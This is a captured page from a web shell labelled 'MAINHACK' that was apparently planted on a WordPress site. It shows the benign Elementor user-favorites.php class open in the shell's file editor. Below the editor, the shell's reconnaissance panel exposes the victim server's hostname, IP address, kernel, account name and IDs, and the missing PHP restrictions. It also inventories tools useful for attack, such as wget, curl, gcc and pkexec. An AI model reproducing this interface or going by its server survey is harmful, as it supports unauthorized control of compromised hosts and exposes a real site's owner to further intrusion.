[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: user-favorites.php
<?php namespace Elementor\Modules\Library; if ( ! defined( 'ABSPATH' ) ) { exit; // Exit if accessed directly. } class User_Favorites { const USER_META_KEY = 'elementor_library_favorites'; /** * @var int */ private $user_id; /** * @var array|null */ private $cache; /** * User_Favorites constructor. * * @param $user_id */ public function __construct( $user_id ) { $this->user_id = $user_id; } /** * @param null $vendor * @param null $resource_name * @param false $ignore_cache * * @return array */ public function get( $vendor = null, $resource_name = null, $ignore_cache = false ) { if ( $ignore_cache || empty( $this->cache ) ) { $this->cache = get_user_meta( $this->user_id, self::USER_META_KEY, true ); } if ( ! $this->cache || ! is_array( $this->cache ) ) { return []; } if ( $vendor && $resource_name ) { $key = $this->get_key( $vendor, $resource_name ); return isset( $this->cache[ $key ] ) ? $this->cache[ $key ] : []; } return $this->cache; } /** * @param $vendor * @param $resource_name * @param $id * * @return bool */ public function exists( $vendor, $resource_name, $id ) { return in_array( $id, $this->get( $vendor, $resource_name ), true ); } /** * @param $vendor * @param $resource_name * @param array $value * * @return $this * @throws \Exception If the favorites cannot be saved. */ public function save( $vendor, $resource_name, $value = [] ) { $all_favorites = $this->get(); $all_favorites[ $this->get_key( $vendor, $resource_name ) ] = $value; $result = update_user_meta( $this->user_id, self::USER_META_KEY, $all_favorites ); if ( false === $result ) { throw new \Exception( 'Failed to save user favorites.' ); } $this->cache = $all_favorites; return $this; } /** * @param $vendor * @param $resource_name * @param $id * * @return $this * @throws \Exception If the favorites cannot be added. */ public function add( $vendor, $resource_name, $id ) { $favorites = $this->get( $vendor, $resource_name ); if ( in_array( $id, $favorites, true ) ) { return $this; } $favorites[] = $id; $this->save( $vendor, $resource_name, $favorites ); return $this; } /** * @param $vendor * @param $resource_name * @param $id * * @return $this * @throws \Exception If the favorites cannot be removed. */ public function remove( $vendor, $resource_name, $id ) { $favorites = $this->get( $vendor, $resource_name ); if ( ! in_array( $id, $favorites, true ) ) { return $this; } $favorites = array_filter( $favorites, function ( $item ) use ( $id ) { return $item !== $id; } ); $this->save( $vendor, $resource_name, $favorites ); return $this; } /** * @param $vendor * @param $resource_name * * @return string */ private function get_key( $vendor, $resource_name ) { return "{$vendor}/{$resource_name}"; } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.14 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002